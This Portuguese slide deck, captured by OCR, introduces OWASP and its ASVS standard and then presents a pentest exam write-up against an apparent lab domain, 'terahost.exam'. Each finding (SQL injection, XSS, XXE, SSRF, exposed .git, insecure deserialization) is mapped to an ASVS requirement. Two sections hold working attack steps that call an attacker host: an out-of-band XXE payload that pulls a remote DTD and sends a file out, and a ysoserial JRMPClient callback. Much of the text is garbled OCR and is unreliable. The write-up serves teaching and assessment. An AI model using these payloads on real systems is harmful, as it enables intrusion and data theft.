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OPEN WEB APPLICATION SECURITY PROJECT

e Fundada em 2001

e A OWASP tem como objetivo promover a
conscientizacao sobre a seguranca de aplicacoes
web e fornecer recursos, ferramentas, e padroes
gratuitos para ajudar desenvolvedores, empresas
e individuos a criar e manter aplicativos seguros.
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CONTRIBUIGCOES DA OWASP

Padroes e Diretrizes

Desenvolve padroes e
diretrizes de seguranca que
sao amplamente adotados
na industria para ajudar a
garantir que aplicacoes
sejam desenvolvidas de
maneira segura.

gg Comunidade

Diversos capitulos
espalhados ao redor do
mundo e sempre esta
organhizando eventos para
comunidade.

@ Educacao e Treinamento

Oferta uma grande
qguantidade de materiais
educacionais incluindo
tutoriais, workshops, e
treinamentos online

OWASP

C@jj Ferramentas e
250 Documentos

OWASP Top Ten
OWASP ZAP
OWASP ASVS
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APPLICATION SECURITY VERIFICATION STANDARD (ASVS)

O ASVS é uma lista de requisitos ou testes de seguranca

de aplicativos que podem ser usado por desenvolvedores,
profissionais de seguranca, fornecedores de ferramentas e
consumidores para definir, construir, testar e verificar a
seguranca das aplicacoes.

Versao atual € a 4.0.3 de 2021




OWASP - Application Security Verification Standard v4.0

The OWASP Application Security Verification Standard (ASVS) Project provides a
basis for testing web application technical security controls and also provides
developers with a checklist of requirements for secure development.

286 Controls and 14 verification topics

Level 3

£B6 Controls
Most crtical
Level 2 apdications
26T Controls
Applications that
Level ] COnLaln sensitive
1 Contrals data
Low assurance
rarl)

Assurance
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NIVEIS DE ASVS

Nivel 1 Basico:
e Objetivo: Proteger contra vulnerabilidades basicas.
e Aplicabilidade: Adequado para aplicacoes de baixo risco ou aquelas que nao processam dados sensiveis.
e Cobertura: Inclui os controles minimos de seguranca que devem ser aplicados para qualquer aplicacao. Foca em garantir que as praticas de
desenvolvimento seguro sejam seguidas e que vulnerabilidades comuns sejam mitigadas.

Nivel 2 Padrao:
» Objetivo: Proteger contra ataques mais sofisticados, visando uma segurang¢a mais robusta.
e Aplicabilidade: Ideal para aplicagoes que processam dados pessoais ou outras informacgoes sensiveis, onde ha um risco moderado.
e Cobertura: Engloba um conjunto mais abrangente de controles de seguranca, incluindo aqueles necessarios para proteger contra ataques mais
avancados. Inclui verificagoes detalhadas de autenticacao, autorizacao, gestao de sessoes, entre outros.

Nivel 3 Abrangente:
o Objetivo: Proteger contra ameacas de alta sofisticagao, assegurando o mais alto nivel de seguranca.
e Aplicabilidade: Recomendado para aplicacées de missao critica, como financeiras, de saude, ou outras que processam dados extremamente sensiveis
ou confidenciais.
e Cobertura: Inclui todos os controles dos Niveis 1 e 2, além de controles adicionais para mitigar ameacas avancadas. Envolve uma abordagem muito
rigorosa para a verificagao de seguranca, com foco em praticas de desenvolvimento seguro avangcadas e técnicas de defesa em profundidade.
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PONTOS POSITIVOS E NEGATIVOS DO ASVS

Grande abrangéncia V) / Grande numero de requisitos que
| praticamente se referem a uma mesma verificacao
Flexibilidade
Percepcao de Complexidade
Define um padrao de verificacao
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TERA HOST PENTEST

Escopo:
Dominio: terahost.exam
Todos os subdominios

7 dias de acesso ao ambiente 16 VU LNS

7 dias para escrever o relatério

Critérios de avaliacao:

1 - Qualidade do relatério

2 - Explorar vulnerabilidades de RCE 10 CRITICAS
3 - Usar uma vulnerabilidade para obter um arquivo

especifico de um dos servidores

4 - Quantidade de vulnerabilidades identificadas




SQL INJECTIONS x4

V5 - Validagao de Entrada
5.3.4 - Verifique se a selecao de dados ou consultas de banco de
dados (por exemplo, SQL, HQL, ORM, NoSQL) usam consultas

"P::" i . parametrizadas, ORMs, estruturas de entidade ou sao de outra
AW [
L | POST /update-user HTTP/1.1 forma protegidas contra ataque de injecao de banco de dados
2 Content-Length: 216
3 Host: me.terahost.exam
4 Accept: application/json, text/javascript, */*: q=2.01
5 | X-Requested-With: XMLHttpRequest #om o mebemmn e m e e Sm e seeseaoemasoseeesssanes oo T ELTTTEEEEEEEEEEEEFEEE +
6 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) [08:44:24] [WARNING] console output will be trimmed to last 236 rows due to large table size _
Chrome/124.0.6367.60 Safari/s37.36 | 142 | Leslie | quam.dignissim.pharetra@nullaIntincidunt.net | Pena | 429gd9724wvc2taxcyaBiorti5238ro3 |
7 Content-Type: application/x-www-form-urlencoded: charset=UTF-8 | 143 : Alice _ w1$hul.an5cElE'15:9&neque.cu.uk ! Malone | E?GQWf%EJEﬂ:;Jlagqufduu??gdzﬁgﬂ |
g Origin: http://me.terahost.exam | ldf : Haqﬂnn _ dipl?ﬂﬂ.FﬂtfunﬂﬁzhlIFLEESp:EJDFE.EdJ ! EEH@Qr . | i:EFJJEJ?unkE?Ef]EQDiﬁéi.lJ;lggg |
o |Referer: http://me.terahost.exam/profile | ldf : gﬁr:nw . Tltﬁ..qJE{n:v?E1:.iﬂ-. | qu:nway | af;hﬂﬁidﬂgtgqqi:kxcﬁr?f.Tl@fnr%ﬂ |
S . | 146 | Elliott sem.eget.massagerosNam. com | G111 | 331qpe586dojoxbrnwz@86hhT3443py2 |
1@ Accept—Encﬂdlng. gzip, def]ate, br | 147 | Amava | urnageemutdolaor. ca 1 - ERATafTRIavmTaSt s o P T T G
: _ . ) _ ays: | urna@semutdolor.ca | Curry | S66Tad731gym7q5tabt826cus3623dj2 |
11 Acceethanguage. EHLGB[EHLUS‘Q'E'Q'EH'Q-B'E | 148 | Brianna | ac.mattis.ornare@ipsum. com | Obrien | 525po6259zz 17Ty Tubmgo94uvka8idoos |
12 Euokle.I_51d_-b569u?fu]h3und4g1?8peksall | 149 | Althea | feugiat.nec.diam@nunc.net | Wong | 546ix8748piy6ebazuo3qdTahcl972gf3 |
13 Connection: close | 158 | Tara Donec.tincidunt.Donec@Cras.edu | Massey | 844cp9010gse3jdicux557xnda8582hjd |
14 _ | 151 | Ethan cursus.vestibulum,Mauris@natoguepenatibus.org | Cervantes | 316jp3341vhy/z1lnxzal23irja9668dbd |
15 name=GCRlUZ&surname=luiz+teste+&email=testekd0email.comkstreet_address=8850+Egestas+Avedcity= | 152 | Zeus | non.bibendum@volutpatornare.net | Thomas | 237cgb6559shf7cboqzgd3dvho22351k3 |
Berlingzip=49160000 kiban=6T332113778003792105690536284password=8ulD=500&acdt67gshfuivasfsg= | 153 | Hedley | fames.ac.turpis@mauris.org | Fitzpatrick | 983xn1740cjilv7xdpf989bsz5493mj7 |
3d324cZ8E3EEI0ISTAEToe8T025a3a99 | 154 | Herman | mauris.sapien.cursus@vel.net | Glover | 726wx5827pok3i5mome948drb3131bo2 |
B || 155 | Buckminster | Fusce.feugiat@nisiaodio.org | Parsons | 856djl346hty3mBojoflobamg3169fs9 |
Response | 156 | Maisie | Duis.dignissim.tempor@vulputateposuerevulputate.com | Mcpherson | 668vwT261kzn7sBbfri621lwhrl724ws8 |
Pretty Raw Hex Render B n = || 157 Slade . n'c:-llis.:":ligl:".an:'lj‘.pr‘c‘.‘.t.‘n'.c-::..|I-; | ﬂ.an*_;r:;..-: | 538sb3683hct7wllfjfoldrpgBBEBxy2 |
——— | 158 | Zia Vivamus . rhoncus . Donecgipsum. Com | Shields | 486bm1340mhq3d51cck714wkm7728dol |
1 HTTP/1.1 20@ OK | 159 | Constance | enim@tempor.edu T | 486xz2269rnh7d91s5kd4371r]4555zkK3 |
2 Date: Sat, 11 May 2024 06:56:53 GMT | 166 | Cora | Cras.eget.nisi@purusin.net | Rush | 966jm3837nbt5t6eqnuB73its250dyye |
3 Server: eXtreme | 161 | Clementine | Donec.fringilla.Donec@magna.co.uk | Bass | 645Tn9621nki7r7oqhm515xgt8803ua2 |
4 Expires: Thu, 19 Nov 1981 @8:52:00 GMT | 162 | Colette | eget@dolor.org | Lamb | 275z50168x003h8xsindd1xqu3d2iefz |
5 Pragma: no-cache | 163 | Tatiana | posuere.enim.nisl@dictum.edu | Tanner | 839wrl1225hkk8wiviyn698jbe3514bl5 |
6 X-Content-Type-Options: nosniff | 164 | Buffy CUrsus@nec.org | Brady | 376juB8B8jaq713bxdw3B881ith7148y1l7 |
7 X-Frame-Options: sameorigin | 165 | Carly | odio@blandlt.edu | Snyder | 847tg5611lhgt3s2otyn746csgd@7dnyd |
8 Animal: cow, camel | 166 | Nayda | a.facilisis.non@Prolnnon.com | Mooney | 123gy2842ytwokTbwrodd0xpra7i2xts |
9 Access-Control-Allow-Origin: * | 167 | Derek | diam.lorem@lectusconvallisest.ca | Sweeney | 768T11020rdy5t5)mkp258wam7399cq2 |
1@ Vary: Accept-Encoding | 168 | Olympia | Morbi@atpedeCras.org | Bender | 231fs7301js55006Tono889kro5016wnG |
11 Content-Length: 257 | 169 | Evangeline | sed.sapien.Nunc@Pellentesquetincidunttempus.com | Mccall | 975rq7583sno6xBwdcqgBB5aqpl237lod |
12 Connection: close | 178 | Keefe sed. pede@erateget.ca | Guerrero | 839pp0380eglls2vuzrdd3rfr239ljqd |
13 Content-Type: text/html | 171 | Beverly | Mullam.lobortis@convallis.org | Noel | 802di6386ekpBgbbjquB73ujn6Bl2des |
14 | 172 | Vielka | euismod.ac.fermentum@ultricessit,co.uk | Maldonado | 715zz9811gkr5ylluns368aeu5575ne5 |
15 | {(*status”:"error",“message”:"An error has occurred, we're sorry. You have an error in your SQL | 173 ; Rhiannon : dp]:r.trngﬁa.nnrﬁﬂnln"DJ?qqup.ﬂnu | ﬂ?fn"n | Qﬁﬁﬁkﬂﬂddgijml1??Tf$d502¥d335wqq |
syntax; check the manual that corresponds to your MySQL server version for the right syntax to | 1{4 ? Fﬂi?y . rlhU?ﬂ?GiLib”ﬂluqbeﬁewﬂllh“:'EdL | ?ln: | HE%iLH?HHEEIhWb”gEdj%£Wﬂ{;{?4Uﬂ3 |
use near ‘'49160000' '\r\n WHERE ‘user_info'.'id' =500' at line 5} bodd SHINBURTY | lobortis@accumsan.edu | L D
| 176 | Bree | interdum.Sed@egetvarius.edu | Acevedo | 7711t1858ymd7yemtvd603ackdB28wgb |
1 197 | Aeeeadl = e S L e e T e e o G et b e T M | TEE . i AP AL T T o e O ban e ENE T e |




A Notsecure terahost.examld

www.terahost.exam sa ¥

rershost.examidomain-namerfw= ey JuYWllljolcmSvZXRoliwldGxkl]oid GVzd HImM3YZPHNjcmiwdDShb GV dCaxK TxcL 3Njcrmiwd DSxMjlwh Y Vs - validac3o de Entrada
533 - Verifique se sao implementados
controles de validacao e escape de
entradas para proteger a aplicacao contra
oL ONEUTEUGLEINGEEUREE el LFEIZEEY - B XSS refletido, armazenado e baseado em
DOM.

i i i
T T
[
it
[
w
¥
-
5
v
1 I 11
"




v W B W k) =

10
11
12
13
14
15
16
17

18

Request

XXE out off band

V5 - Validacao de Entrada

552 - Verifigue se o aplicativo restringe
corretamente os analisadores XML para usar
apenas a configuracao mais restritiva possivel e
para garantir que recursos inseguros, como a

resolucao de entidades externas esta desativada MRS TR e P S ,,__mi_::“____“.__:mm. T
para evitar ataques de XML eXternal Entity (XXE). ZIENTITY & remote “"<!ENTITY &#x25: convert SYSTEM 'http://10.100.13.200:5000/7%file: '>

»

=

i3

GNU nano 5.4

Pretty Raw Hex S v Eil E=dit A SEArCH [ &rmina Help

POST /supporter HTTP/1.1 parrot @'1 irrot '

Host: me.terahost.exam e i _

Content-Length: 317 spythond -m http.server 5000

A t: lication/j text/j ipt, */*: g=0.01 5 . . M .. ; =

R e e i) Serving HTTP on 0.0.0.0 port 5000 (http://0.0.0.0:5000/) ...

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 10.100,13.33 |14/May /2024 01:18:53] "GET /data.dta HTTP/1.0" 208

Chrome/124.0.6367.60 Safari/537.36 n A m : . . v ) A . e
== e 10.100.13.37 [14/May /2024 01:18:54] "GET /data.dtd HTTP/1.0" 200

3 [ 1 |

Support: members
4/May/2024 01:18:55] "GET /7giENEREI [ AaetyiE= s hilelslsl™mels HTTP/1.0" 208

Content-Type: text/xml 168.16808. 13,
Origin: http://me.terahost.exam
Referer: http://me.terahost.exam/support [ N N | Parrot Terminal
Accept-Encoding: gzip, deflate, bz
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 File Edit View 5earch Terminal Help
Cookie: _sid_=tl1k33cq@7glgv7nedhhsjbah2
Connection: close parrot@parrot B
secho "PDO9waHANCgOKcGhwawombyqpOwOK" | basebd -d
<?xml version="1.8" encoding="utf-8"7> 2 b
<!DOCTYPE x [ <!ENTITY % rr SYSTEM "http://10.100.13.200:5000/data.dtd"> %rr; %remote; i kb o
%convert; 1>
<report>
<date> phapinTol);
Sl parrot@parrot
</date>
<userinfo> 3
cruz mano (cruz@email.com)
<fuserinfo>
<message>
ola mundo
</message>

</report>




Decode from Basebd4 format

PDOwaHAgJFIbXSsrOyRIW109JF BuXzskX 191X 189

JFIBKCsrJF 9N 10pXVsokyskX19bXSkrKCsrJFIIW10pKygriKyREX 1tdKVO7JF89JF 9bJF 9bK
20K 1srKy REX 11X TehX 191Xz 0KX20KX 181X 10T JF BrizskXysrOyRIKys TJF89JFID18ukyskX 19LIRA1 BuKyskXy kX1 BukyskX 19Oy RIXz0kXzskX
KaskXysrOyRiKys7JF 8rKzskXysrOyRIKys7JF iKzskXystOyRIKysTJF 8rkaskX 19fPSHOyRIX18uP SRIX2skX 19/PSsrJF 9eJF9iX 151X 107UMOAPSHOy TDgT Ok

19dXTskX19PSRIX
20X 190X 187 JF 8r
l|c. I l

.l""~|

L:F'Q'Eh._- kwdY9 ""’_]"'”n iTOkwdo9JMOLPSsrJMOBW107JMOCKysTJMODKys7TJMODKysTJMOEKysTJMOEKysTJMOEKysTJMOGKysT '”'-.]uﬂ.r‘f- 4'1
s TJMOGEys TJMOIKys TJMOIKys TJMOIKys TJMOIKys T JMOIKys TJMOJKys TJMOJKys T JMOJKys TIMO JKys T JMOJEys TIMOJK)y M'J"'I-:Il'ir'i.ﬁ. JMOKKysTJMOKKys

TJMOKKys TJMOKKysTJMOKKys TJMOKKys TJMOLKys TJMOLKys TJMOLKys TJMOLKys TJMOLKy s TJMOLKys TIJMOLKys TJF SR C el 0idy kX1 SILITDg S dkowd Qul
WOGLIRE SudMOBLITDhCdkwd MudF 21Xy dkwd EuJMOGLITDgCakX 1 SLITD g S dkwd YuJMOJLIREX 1 SuJMOELITDgC Ak 136LI T DhCdkowd ludF Sty dlowd EuJMOBLIT

X19LITDgS4kwd QuJMOGLIRR 1BuJMOBLITDhidkwd QulF Xy dkwd EuJMOGLITDhC Ak 19fLITD g Sdkoerd Yu i

FDgE-:'r"« SILITDgSkw

AOJLIREX1 BuJMOELIT D_,i-llh"f:'lﬁ,l" TDg ,_:-..F d
MOELIRDO18uJMOBLITDhidlowd AuJF Xy dkwd EuJMOELITDhid kX 151LITDgS dkwd guJMOCLIRDX 1 BuJMOBLIT DhC dkowd YuJF Sy diowd YuJMOELIRTX 18uJMOEL
AEUWIMOBLIRIX1 BuJMOELITDg CAkX19LIT Dg S4kwd QulMODLIREX 1 8uJMOBLITDhC4kwdEuJF Xy dkwdEuJMO "Ll DiC4kX15fL T:-*:-:-
AuJFSiXyded EuJMOILITDgidkX 131 TDgadkon ydCUIMOGLIREX 18uJMOBLITDRC dkwdEuU JEXydkwd EuJMOELITORCARXTSLITD hCak

Au)FSiXydiovd EulMO

'fL-TL,::qFl SILITDgS4kwdEuJMOALIRR 1 8uJMOBLITD gidkwd AuJF 90y dkwd QuiMOALIRE1 BuJMOBLITDhC dkowd Y uJF 9y dow -.l:_u..‘l"Lu DiC4 -E‘EEL;TC'JS-L

YOU have mulbiple enines

the UTF-§ character sed

O Live mode ON Decodes in real-time as vou type of paste (suppors only

Decode data into the area belo

php S [H+5 [1=6_ 5 =5 [(++5__III *-‘_ (IS _+H(++5_ 5 =8 5 [+ 015 =5 =5 [++5_[I5_ =% =% [+ ]5 ++5 ++5 ++5 =%+
#§___ 5 __ o5 5 _+e5__ 5288 =5 S 4B e B re B a3 +eF_+S +45_ 445 45 465 =+ 5 =5_5__ =++5 "5 [+ _|3A=+_B5A=
$A=SA=SA=S E=SE=SE =SE=SE=++SA[| SA++ SA4+ SA4+ SA+SA++ SA++ S/E++ SE++ SE++ SE++SE++ SE++SE++SE++SE++ SE++SE++SE++SE++SE+
+SE++SE++SE++8E ++:SE++.5E++.SE ++8E++SE++ SE++SE++SE++SE++ SE++SE++:5_ (S ="5_ SASASES  SASASAS SASESAS
_SASESES  SASAS  SASAS  SASASAS  SASASES  SASESAS  SASESAS_ SASESES  SASAS  SASESAS
_SASESAS_ SASASES_ SASESAS_ SASASES_ SESAS_ SASAS_ SASASAS_ SASAS_ SASASAS_ SASASAS_
_SASESES  SASAS  SASESAS  SASASES  SASASAS  SASASAS  SASAS_ SASASAS  SASASAS  SASASAS_ SASAS.
__SASASES SASESES  SASASES  SASESES_ SASAS  SASASES  SASESES_ SASASAS  SASESES_  SASASAS
_SASASES_ SASASAS  SESAS_ SASAS_ SASASAS_ SASAS_ SASASAS_ SASASAS_ SASESES_ SASAS_ SASESAS
_SASASAS  SASESAS_ SASESAS_ SASAS_ SASESAS_ SASESAS_ SASASES  SASAS_ SASASES_ SASESAS

SASASAS SASESES  SASAS  SASAS  SESA™)S_(5)7

Local do arquivo: /usr/local/etc/exam/pass

Site usado para decodificar: https://3v4l.org/CDeJE

Resultado:

Notice: Undefined variable: _ in /in/CDeJE on line 1 Notice: Use of
undefined constant _ - assumed ' ' in /in/CDeJE on line 1 Notice: Array to
string conversion in /in/CDeJE on line 1 Notice: Undefined variable:  in
/in/CDeJE on line 1 Notice: Use of undefined constant _ - assumed ' '
/in/CDeJE on line 1 Notice: Use of undefined constant _ - assumed '_
/in/CDeJE on line 1 Notice: Use of undefined constant _ - assumed ' '
/in/CDeJE on line 1 Notice: Use of undefined constant _ - assumed ' '
/in/CDeJE on line 1 Notice: Use of undefined constant _ - assumed ' '
/in/CDeJE on line 1 Notice: Undefined variable: A in /in/CDeJE on line 1
Parse error: syntax error, unexpected 'echo' (T_ECHO), expecting ;' i
/in/CDeJE(1) : assert code on line 1 Catchable fatal error: assert(): Failure
evaluating code: echo "Hello there, | can read PHP even encoded, | can
pass the exam!; in /in/CDeJE on line 1 Process exited with code 255.



Exposicao de conteudo sensivel

V4 - Controle de Acesso
4.3.2 Verifique se a navegacao nos diretérios esta desabilitada. Além disso, os aplicativos nao devem divulgar informacoes
sigilosas que podem comprometer a seguranca da aplicacao. Exemplos: pastas Thumbs.db, .DS_Store, .git ou .svn etc

- -i! "T :_..' :.'- | @l oF m i

B gt bosderarin, D Peral 08 Des Ther Bos DO0AINT Serviers O Vuln DB [ Privisy 80 Seoaity D Leaming Brgaron

$dirsearch -u http://blog.terahost.exam/ -o blogFUZZ
Directory /usr/lib/python3/dist-packages/dirsearch is not writable
€« > C A Notsecure blog.terahost.exam/testtest1234567890/crypt.php.inc Directory /usr/lib/python3/dist-packages/dirsearch is not writable

vy s )
v I-_-I ' ']‘ i

<=7 - = - - 1 g
I ) A
splaintext = "abcdef";

$key = "8b362e210615e66b3bf716076c819056"; Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30
scipher = "aes-256-ctr”; J

$iv = "ABCDEFGHIJKLMNOP"; Wordlist size: 10903

function encrypt($plaintext) {
if (in_array($cipher, openssl get cipher methods()))
{

Output File: /home/parrot/ewptx/blogFUZZ

$ivlen = openssl_cipher_iv_length($cipher); Error Log: /usr/Llib/python3/dist-packages/dirsearch/logs/errors-24-05-10 23-07-31. log
echo '\n'.strlen(%$iv).'\n';
sciphertext = openssl _encrypti(splaintext, scipher, skey, Soptions=0, $%iv);
if ($ciphertext) {
return sciphertext;

T else {

echo "Encryption error";

Target: http://blog.terahost.exam/

[23:07:32] Starting:
} . ; -> log. terahost.exam/js/
- '/blog.terahost.exam/.git/



V5 - Validacao de Entrada
5.2.6 Verifique se o aplicativo protege contra
Request atagues SSRF, validando ou sanitizando dados

Pretty  Raw  Hex nao confiaveis ou metadados de arquivos HTTP,

GET /9c¢717baeeca3a2cb7f2¢7797¢96292ca/fetch.php?url=127.0.0.1:80&action=import&import=Try HTTP/1.1 .
Host: blog.terahost.exam como homes de arquivos e campos de entrada de

Upgrade-Insecure-Requests: 1 .
User-Agent: Mozilla/5.@ (Windows NT 1@0.©; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome URL’ e se usa uma listas com os prOtOCOIOS’

Accept: text/html,application/xhtml+xml, application/xml;qg=0.9,image/avif,image/webp,image/apng,*/*; dominiOS, CaminhOS e pOrtaS permitidas.
Referer: http://blog.terahost.exam/9c717baeeca3a2c67T2c7797c96292ca/fetch.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US5;q=0.9,en;q=0.8
Cookie: PHPSESSID=08f2mljlk6d8ppm24t9uaqduf2; auth=Ti8ralRvUVBHdA25HV3hydGFpZW10QlExeFo@dW5zNnlValds 14. Intruder attack of http://blog.terahost.exam
1@ | Connection: close

11

12 Results Paositions Payloads Resource pool Settings

% Intruder attack results filter: Showing all items
@ {:‘C.-'r} €« |=»| Search
Request Payload Status code Response received

Response 60 80 200 1351
611 631 200 27
Pretty Raw Hex Render 4980 5000 200 13

HTTP/1.1 200 OK _ = e w
Date: Thu, 16 May 2024 81:82:29 GMT 28 200 1027
Server: Apache/2.4.18 (Ubuntu) P 200 932
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT igif fgg gii
Cache-Control: no-store, no-cache, must-revalidate 1023 200 637
Pragma: no-cache 1024 200 357
Vary: Accept-Encoding
Content-Length: 3283
Connection: close

Content-Type: text/html; charset=UTF-8

Response

+ TS I T3 JY S T I N

Raw Hex Render

HTTP/1.1 280 0K

Date: Mon, 13 May 2024 @0:21:22 GMT

Server: Apache/f2.4.18 (Ubuntu)

<!DOCTYPE HTML=> Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

= Cache-Control: no-store, no-cache, must-revalidate
T+ vimnie iy TEMDI ATED Fragma; I‘IU—CaChE

Content-Length: 21

Keep-Alive: timeout=5, max=68

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

[-]1 $_GET[data] empty




Desserializacao insegura

V5 - Validacao de Entrada
5.5.1 - Verifique se os objetos serializados usam verificagcoes de integridade ou estao criptografados para evitar criacao de objetos

hostis ou adulteracao de dados.

X parrot@parrot Dow! id
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parrot@parrot|—[~/Downloads
$java -jar ysoserial-all.jar JRMPClient "10.100.13.201:
5000" | baseb4 -w 0
rOOABXN9AAAAAQAaamF2YS5ybWkucmVnaXN@cnkuUmVnaXN@cnl4dcgAXamF2
YS5sYW5SnLnl LZmx1Y3QuUHIveHnhJ90gzBBDywIAAUWAAWhOACVMamF2YS9s
YW5nL3J1Zmx1Y3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWku

c2VydmVyL1J1bwW90ZU91amVjdELludm9jYXRpb25IYW5KkbGVyAAAAAAAAAALIC
AAB4cgAcamF2YS5ybWkuc2VydmVyL1J LbW90ZU91amVjdNNhtIJEMYTMeAwAA
eHB3NgAKVW5pY2FzdFJ1ZgANMTAUMTAWL jEzL j IWMQAAE4gAAAAADHIp TwAA
AAAAA;#AAA&AA&AAAHQ: parrot@parrot |—[~/Downloads
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https://drive.google.com/drive/folders/ImbdR32MB7GA9SRCS
TalLCeeasl1GcjEnK?usp=drive link



https://drive.google.com/drive/folders/1mbdR32MB7GA9SRcSTaLCeeas11GcjFnK?usp=drive_link
https://drive.google.com/drive/folders/1mbdR32MB7GA9SRcSTaLCeeas11GcjFnK?usp=drive_link

